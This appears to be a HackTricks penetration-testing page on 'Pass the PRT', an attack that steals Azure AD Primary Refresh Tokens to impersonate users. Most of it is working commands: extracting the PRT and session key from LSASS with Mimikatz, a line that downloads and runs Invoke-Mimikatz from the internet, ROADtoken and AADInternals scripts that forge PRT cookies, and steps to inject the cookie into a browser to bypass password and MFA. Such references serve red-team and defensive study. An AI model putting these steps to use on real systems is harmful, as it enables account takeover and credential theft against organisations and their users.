Links

Az - Pass the PRT

Support HackTricks and get benefits!

What is a PRT

A Primary Refresh Token (PRT) is used to provide a single sign-on (SSO) experience for users of Windows 10 and mobile OSes.
When you log in in a device supporting thins SSO, Windows will communicate with the Cloud Authentication Provider, validate your credentials and returns the PRT and a session key. The PRT is stored in LSASS, and the session key gets re-encrypted with the local devices TPM and then stored alongside the PRT.
Then, when the browser tries to access resources on the cloud, a PRT cookie is used to access them.
Once issued, a PRT is valid for 14 days and is continuously renewed as long as the user actively uses the device. A PRT only has MFA claims if when accessing RDP you use windows hello or windows account manager.
It can be used to obtain access and refresh token to any application.
For more information about how this works read the documentation or this page.

Check if you have a PRT

Dsregcmd.exe /status
In the SSO State section, you should see the AzureAdPrt set to YES.
In the same output you can also see if the device is joined to Azure (in the field AzureAdJoined):

Pass-the-PRT

Steps

  1. 1.
    Extract the PRT from LSASS and save this for later.
  2. 2.
    Extract the Session Key. If you remember this is issued and then re-encrypted by the local device, so we need to decrypt this using a DPAPI masterkey. For more info about DPAPI check this HackTricks link or the Pass-the-cookie attack.
  3. 3.
    Using the decrypted Session Key, we will obtain the derived key for the PRT and the context. This is needed to create our PRT cookie. The derived key is what is used to sign the JWT for the cookie. Dirk-jan did a great job explaining this process here.
Now we have everything we need to sign our own PRT Cookies and the rest of these steps can be done from any other system.
  • We will use the PRT, derived key, and context to create a new PRT Cookie.
  • Import the cookie into your browser session (we’ll use Chrome)
  • That’s it! You should now be authenticated as that user without having to know their password, or handle any MFA prompts.

Attack - Roadtoken

For more info about this way check this post. To generate a valid PRT cookie the first thing you need is a nonce. You can get this with:
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$Params = @{
"URI" = $URL
"Method" = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
Or using roadrecon:
roadrecon auth prt-init
Then you can use roadtoken to get a new PRT (run in the tool from a process of the user to attack):
.\ROADtoken.exe <nonce>
As oneliner:
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
Then you can use the generated cookie to generate tokens to login using Azure AD Graph or Microsoft Graph:
roadrecon auth --prt-cookie <prt_cookie>
Connect-AzureAD --AadAccessToken <token> --IaccountId <acc_ind>

Attack - Using AADInternals

Get-AADIntUserPRTToken gets user’s PRT token from the Azure AD joined or Hybrid joined computer. Uses BrowserCore.exe to get the PRT token.
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
Or if you have the values from Mimikatz you can also use AADInternals to generate a token:
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."
# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}
# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"
# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))
# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser
# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
Go to https://login.microsoftonline.com, clear all cookies for login.microsoftonline.com and enter a new cookie.
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.

Attack - Mimikatz

This won't work post August 2021 fixes to get other users PRT tokens as only the user can get his PRT (a local admin cannot access other users PRTs), but can access his.
This way to generate the cookie didn't work for me last time
You can use mimikatz to extract the PRT:
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap
# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
Copy the part labeled Prt and save it. Extract also the session key or “ProofOfPosessionKey” which you can see highlighted below. This is encrypted and we will need to use our DPAPI masterkeys to decrypt it.
If you don’t see any PRT data it could be that you don’t have any PRTs because your device isn’t Azure AD joined or it could be you are running an old version of Windows 10.
To decrypt the session key you need to elevate your privileges to SYSTEM to run under the computer context to be able to use the DPAPI masterkey to decrypt it. You can use the following commands to do so:
token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
Now you want to copy both the Context value:
And the derived key value:
Finally you can use all this info to generate PRT cookies:
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Go to https://login.microsoftonline.com, clear all cookies for login.microsoftonline.com and enter a new cookie.
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.

References

Support HackTricks and get benefits!